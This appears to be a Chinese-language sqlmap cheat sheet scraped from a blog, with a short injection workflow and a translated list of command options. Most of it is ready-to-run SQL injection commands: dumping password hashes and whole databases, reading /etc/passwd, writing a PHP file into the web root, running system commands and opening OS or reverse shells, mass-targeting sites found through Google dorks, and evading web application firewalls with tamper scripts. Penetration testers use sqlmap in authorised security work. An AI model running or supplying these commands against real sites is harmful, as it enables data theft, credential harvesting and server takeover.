sqlmap

sqlmap速查

/pentest/database/sqlmap/txt/php

common-columns.txt  字段字典html

common-outputs.txtpython

common-tables.txt 表字典mysql

keywords.txtweb

oracle-default-passwords.txt正則表達式

user-agents.txtsql

wordlist.txtshell

經常使用語句:數據庫

一、使用POST方法提交ubuntu

sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/post_int.php" --method POST --data "id=1"

二、使用COOKIES方式提交,cookie的值用;分割,能夠使用TamperData來抓cookies

python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1

三、使用referer欺騙

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3

四、使用自定義user-agent,或者使用隨機使用自帶的user-agents.txt

python sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/get_int.php?id=1" --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3

python sqlmap.py -u "URL" -v 1 -a "./txt/user-agents.txt"

五、使用基本認證

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3

六、使用Digest認證

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/digest/get_int.php?id=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3

七、使用代理,配合TOR

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"

八、使用多線程猜解

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3

九、繞過動態檢測,直接指定有注入點的參數,能夠使用,分割多個參數,指定user-agent注入

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

十、指定數據庫,繞過SQLMAP的自動檢測

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "PostgreSQL"

* MySQL

* Oracle

* PostgreSQL

* Microsoft SQL Server

十一、指定操做系統,繞過SQLMAP自動檢測

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "Windows"

* Linux

* Windows

十二、自定義payload

Options: --prefix and --postfix

1三、頁面比較

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v

1四、排除網站的內容

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "Dynamic content: ([\d]+)"

1五、多語句測試,php內嵌函數mysql_query(),不支持多語句

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1

1六、union注入測試

python sqlmap.py -u "http://192.168.1.1/sqlmap/oracle/get_int.php?id=1" --union-test -v 1

1七、unionz注入配合orderby

python sqlmap.py -u "http://192.168.1.1/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1

python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user

python sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs

fingerprint

python sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" -v 1 -f

python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b

簡單的注入流程            #這部分來自: 網絡安全攻防研究室(www.91ri.org)

1.讀取數據庫版本,當前用戶,當前數據庫

sqlmap -u http://www.91ri.org/ test.php?p=2 -f -b –current-user –current-db -v 1

2.判斷當前數據庫用戶權限

sqlmap -u http://www.91ri.org/ test.php?p=2 –privileges -U 用戶名 -v 1

sqlmap -u http://www.91ri.org/ test.php?p=2 –is-dba -U 用戶名 -v 1

3.讀取全部數據庫用戶或指定數據庫用戶的密碼

sqlmap -u http://www.91ri.org/ test.php?p=2 –users –passwords -v 2

sqlmap -u http://www.91ri.org/ test.php?p=2 –passwords -U root -v 2

4.獲取全部數據庫

sqlmap -u http://www.91ri.org/ test.php?p=2 –dbs -v 2

5.獲取指定數據庫中的全部表

sqlmap -u http://www.91ri.org/ test.php?p=2 –tables -D mysql -v 2

6.獲取指定數據庫名中指定表的字段

sqlmap -u http://www.91ri.org/ test.php?p=2 –columns -D mysql -T users -v 2

7.獲取指定數據庫名中指定表中指定字段的數據

sqlmap -u http://www.91ri.org/ test.php?p=2 –dump -D mysql -T users -C 「username,password」 -s 「sqlnmapdb.log」 -v 2

8.file-read讀取web文件

sqlmap -u http://www.91ri.org/ test.php?p=2 –file-read 「/etc/passwd」 -v 2

9.file-write寫入文件到web

sqlmap -u http://www.91ri.org/ test.php?p=2 –file-write /localhost/mm.php –file-dest /var/www/html/xx.php -v 2

sqlmap -u 「http://url/news?id=1″ --dbms 「Mysql」 –users # dbms 指定數據庫類型

sqlmap -u 「http://url/news?id=1″ --users #列數據庫用戶

sqlmap -u 「http://url/news?id=1″ --dbs#列數據庫

sqlmap -u 「http://url/news?id=1″ --passwords #數據庫用戶密碼

sqlmap -u 「http://url/news?id=1″ --passwords-U root -v 0 #列出指定用戶 數據庫密碼

sqlmap  -u  「http://url/news?id=1″   --dump  -C  「password,user,id」  -T 「tablename」-D 「db_name」

–start 1 –stop 20 #列出指定字段,列出20 條

sqlmap -u 「http://url/news?id=1″ --dump-all -v 0 #列出全部數據庫全部表

sqlmap -u 「http://url/news?id=1″ --privileges #查看權限

sqlmap -u 「http://url/news?id=1″ --privileges -U root #查看指定用戶權限sqlmap -u 「http://url/news?id=1″ –is-dba -v 1 #是不是數據庫管理員sqlmap -u 「http://url/news?id=1″ –roles #枚舉數據庫用戶角色

sqlmap -u 「http://url/news?id=1″ --udf-inject #導入用戶自定義函數(獲取 系統權限!)

sqlmap -u 「http://url/news?id=1″ --dump-all –exclude-sysdbs -v 0 #列 出當前庫全部表

sqlmap -u 「http://url/news?id=1″ --union-cols #union 查詢表記錄

sqlmap -u 「http://url/news?id=1″ --cookie 「COOKIE_VALUE」#cookie注入

sqlmap -u 「http://url/news?id=1″ -b #獲取banner信息

sqlmap -u 「http://url/news?id=1″ --data 「id=3″#post注入

sqlmap -u 「http://url/news?id=1″ -v 1 -f #指紋判別數據庫類型

sqlmap -u 「http://url/news?id=1″ --proxy「http://127.0.0.1:8118」 #代理注 入

sqlmap -u 「http://url/news?id=1″ --string」STRING_ON_TRUE_PAGE」# 指 定關鍵詞

sqlmap -u 「http://url/news?id=1″ --sql-shell #執行指定sql命令

sqlmap -u 「http://url/news?id=1″ --file /etc/passwd

sqlmap -u 「http://url/news?id=1″ --os-cmd=whoami #執行系統命令

sqlmap -u 「http://url/news?id=1″ --os-shell #系統交互shell sqlmap -u 「http://url/news?id=1″ –os-pwn #反彈shell

sqlmap -u 「http://url/news?id=1″ --reg-read #讀取win系統註冊表

sqlmap -u 「http://url/news?id=1″ --dbs-o 「sqlmap.log」#保存進度

sqlmap -u 「http://url/news?id=1″ --dbs -o 「sqlmap.log」 –resume #恢復 已保存進度

***********高級用法*************

-p name 多個參數如index.php?n_id=1&name=2&data=2020 咱們想指定name參數進行注入

sqlmap -g 「google語法」 –dump-all –batch #google搜索注入點自動 跑出 全部字段          需保證google.com能正常訪問

–technique   測試指定注入類型\使用的技術

不加參數默認測試全部注入技術

?     B: 基於布爾的SQL 盲注

?     E: 基於顯錯sql 注入

?     U: 基於UNION 注入

?     S: 疊層sql 注入

?     T: 基於時間盲注

--tamper 經過編碼繞過WEB 防火牆(WAF)Sqlmap 默認用char()

--tamper 插件所在目錄

\sqlmap-dev\tamper

sqlmap -u 「http:// www.2cto.com /news?id=1″ --smart --level 3 --users  --smart 智 能

level 執行測試等級 攻擊實例:

Sqlmap -u 「http://url/news?id=1&Submit=Submit」

--cookie=」PHPSESSID=41aa833e6d0d

28f489ff1ab5a7531406″ --string=」Surname」 --dbms=mysql --user

--password

參考文檔:http://sqlmap.sourceforge.net/doc/README.html

***********安裝最新版本*************

ubuntu 經過apt-get install 安裝的sqlmap版本爲0.6 咱們經過svn 來安裝 爲 最新1.0版

sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

安裝的位置爲:/home/當前用戶/sqlmap-dev/sqlmap.py 直接執行/home/當前用戶/sqlmap-dev/sqlmap.py –version 這樣很不方便 咱們能夠設置.bashrc 文件

sudo vim /home/當前用戶/.bashrc

#任意位置加上:

alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 該環境變量只對當前用戶有效

若是想對全部用戶有效 可設置全局 編輯下面的文件

vim /etc/profile

一樣加上:

alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重啓生效

******************windows 7 (x64) sqlmap install (SVN)************

http://www.python.org/getit/ 安裝python

http://www.sliksvn.com/en/download 安裝windows svn client

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

安裝sqlmap

*修改環境變量

--version             顯示程序的版本號並退出

-h, --help            顯示此幫助消息並退出

-v VERBOSE            詳細級別:0-6(默認爲1)

Target(目標): 如下至少須要設置其中一個選項,設置目標URL。

-d DIRECT           直接鏈接到數據庫。

-u URL, –url=URL   目標URL。

-l LIST             從Burp 或WebScarab 代理的日誌中解析目標。

-r REQUESTFILE      從一個文件中載入HTTP 請求。

-g GOOGLEDORK       處理Google dork 的結果做爲目標URL。

-c CONFIGFILE       從INI 配置文件中加載選項。

Request(請求)::

這些選項能夠用來指定如何鏈接到目標URL。

--data=DATA         經過POST 發送的數據字符串

--cookie=COOKIE     HTTP Cookie 頭

--cookie-urlencode  URL 編碼生成的cookie 注入

--drop-set-cookie   忽略響應的Set –Cookie 頭信息

 

--user-agent=AGENT  指定  HTTP User –Agent 頭

--random-agent      使用隨機選定的HTTP User –Agent 頭

--referer=REFERER   指定  HTTP Referer 頭

--headers=HEADERS   換行分開,加入其餘的HTTP 頭

--auth-type=ATYPE   HTTP 身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)

--auth-cred=ACRED   HTTP 身份驗證憑據(用戶名:密碼)

--auth-cert=ACERT   HTTP 認證證書(key_file,cert_file)

--proxy=PROXY       使用HTTP 代理鏈接到目標URL

--proxy-cred=PCRED  HTTP 代理身份驗證憑據(用戶名:密碼)

--ignore-proxy      忽略系統默認的HTTP 代理

–delay=DELAY       在每一個HTTP 請求之間的延遲時間,單位爲秒

--timeout=TIMEOUT   等待鏈接超時的時間(默認爲30 秒)

--retries=RETRIES   鏈接超時後從新鏈接的時間(默認3)

--scope=SCOPE       從所提供的代理日誌中過濾器目標的正則表達式

--safe-url=SAFURL   在測試過程當中常常訪問的url 地址

--safe-freq=SAFREQ  兩次訪問之間測試請求,給出安全的URL

Optimization(優化): 這些選項可用於優化SqlMap 的性能。

-o                  開啓全部優化開關

--predict-output    預測常見的查詢輸出

--keep-alive        使用持久的HTTP(S)鏈接

--null-connection   從沒有實際的HTTP 響應體中檢索頁面長度

--threads=THREADS   最大的HTTP(S)請求併發量(默認爲1)

Injection(注入):

這些選項能夠用來指定測試哪些參數,  提供自定義的注入payloads 和可選篡改腳本。

-p TESTPARAMETER    可測試的參數(S)

--dbms=DBMS         強制後端的DBMS 爲此值

--os=OS             強制後端的DBMS 操做系統爲這個值

--prefix=PREFIX     注入payload 字符串前綴

--suffix=SUFFIX     注入 payload 字符串後綴

--tamper=TAMPER     使用給定的腳本(S)篡改注入數據

Detection(檢測):

這些選項能夠用來指定在SQL 盲注時如何解析和比較HTTP 響應頁面的內容。

--level=LEVEL       執行測試的等級(1-5,默認爲1)

--risk=RISK         執行測試的風險(0-3,默認爲1)

--string=STRING     查詢時有效時在頁面匹配字符串

--regexp=REGEXP     查詢時有效時在頁面匹配正則表達式

--text-only         僅基於在文本內容比較網頁

Techniques(技巧): 這些選項可用於調整具體的SQL 注入測試。

--technique=TECH    SQL 注入技術測試(默認BEUST)

--tiime-sec=TIMESEC  DBMS 響應的延遲時間(默認爲5 秒)

--union-cols=UCOLS  定列範圍用於測試UNION 查詢注入

--union-char=UCHAR  用於暴力猜解列數的字符

Fingerprint(指紋):

-f, –fingerprint     執行檢查普遍的DBMS 版本指紋

Enumeration(枚舉):

 

這些選項能夠用來列舉後端數據庫管理系統的信息、表中的結構和數據。此外,您還能夠運行您本身 的SQL 語句。

-b, –banner        檢索數據庫管理系統的標識

--current-user      檢索數據庫管理系統當前用戶

--current-db        檢索數據庫管理系統當前數據庫

--is-dba            檢測DBMS 當前用戶是否DBA

--users             枚舉數據庫管理系統用戶

--passwords         枚舉數據庫管理系統用戶密碼哈希

--privileges        枚舉數據庫管理系統用戶的權限

--roles             枚舉數據庫管理系統用戶的角色

--dbs               枚舉數據庫管理系統數據庫

--tables            枚舉的DBMS 數據庫中的表

--columns           枚舉DBMS 數據庫表列

--dump              轉儲數據庫管理系統的數據庫中的表項

--dump-all          轉儲全部的DBMS 數據庫表中的條目

--search            搜索列(S),表(S)和/或數據庫名稱(S)

-D DB               要進行枚舉的數據庫名

-T TBL              要進行枚舉的數據庫表

-C COL              要進行枚舉的數據庫列

-U USER             用來進行枚舉的數據庫用戶

--exclude-sysdbs    枚舉表時排除系統數據庫

--start=LIMITSTART  第一個查詢輸出進入檢索

--stop=LIMITSTOP    最後查詢的輸出進入檢索

--first=FIRSTCHAR   第一個查詢輸出字的字符檢索

--last=LASTCHAR     最後查詢的輸出字字符檢索

--sql-query=QUERY   要執行的SQL 語句

--sql-shell         提示交互式SQL 的shell

Brute force(蠻力): 這些選項能夠被用來運行蠻力檢查。

--common-tables     檢查存在共同表

--common-columns    檢查存在共同列

User-defined function injection(用戶自定義函數注入): 這些選項能夠用來建立用戶自定義函數。

--udf-inject        注入用戶自定義函數

--shared-lib=SHLIB  共享庫的本地路徑

File system access(訪問文件系統): 這些選項能夠被用來訪問後端數據庫管理系統的底層文件系統。

--file-read=RFILE   從後端的數據庫管理系統文件系統讀取文件

--file-write=WFILE  編輯後端的數據庫管理系統文件系統上的本地文件

--file-dest=DFILE   後端的數據庫管理系統寫入文件的絕對路徑

Operating system access(操做系統訪問): 這些選項能夠用於訪問後端數據庫管理系統的底層操做系統。

--os-cmd=OSCMD      執行操做系統命令

--os-shell          交互式的操做系統的shell

--os-pwn            獲取一個OOB shell,meterpreter 或VNC

--os-smbrelay       一鍵獲取一個OOB shell,meterpreter 或VNC

--os-bof            存儲過程緩衝區溢出利用

--priv-esc          數據庫進程用戶權限提高

--msf-path=MSFPATH  Metasploit Framework 本地的安裝路徑

--tmp-path=TMPPATH  遠程臨時文件目錄的絕對路徑

 

Windows 註冊表訪問: 這些選項能夠被用來訪問後端數據庫管理系統Windows 註冊表。

--reg-read          讀一個Windows 註冊表項值

--reg-add           寫一個Windows 註冊表項值數據

--reg-del           刪除Windows 註冊表鍵值

--reg-key=REGKEY    Windows 註冊表鍵

--reg-value=REGVAL  Windows 註冊表項值

--reg-data=REGDATA  Windows 註冊表鍵值數據

--reg-type=REGTYPE  Windows 註冊表項值類型

General(通常): 這些選項能夠用來設置一些通常的工做參數。

-t TRAFFICFILE      記錄全部HTTP 流量到一個文本文件中

-s SESSIONFILE      保存和恢復檢索會話文件的全部數據

--flush-session     刷新當前目標的會話文件

--fresh-queries     忽略在會話文件中存儲的查詢結果

--eta               顯示每一個輸出的預計到達時間

--update            更新SqlMap

--save              file 保存選項到INI 配置文件

--batch             從不詢問用戶輸入,使用全部默認配置。

Miscellaneous(雜項):

--beep              發現SQL 注入時提醒

--check-payload     IDS 對注入payloads 的檢測測試

--cleanup           SqlMap 具體的UDF 和表清理DBMS

--forms             對目標URL 的解析和測試形式

--gpage=GOOGLEPAGE  從指定的頁碼使用谷歌dork 結果

--page-rank         Google dork 結果顯示網頁排名(PR)

--parse-errors      從響應頁面解析數據庫管理系統的錯誤消息

--replicate         複製轉儲的數據到一個sqlite3 數據庫

--tor               使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址

--wizard            給初級用戶的簡單向導界面

相關文章
相關標籤/搜索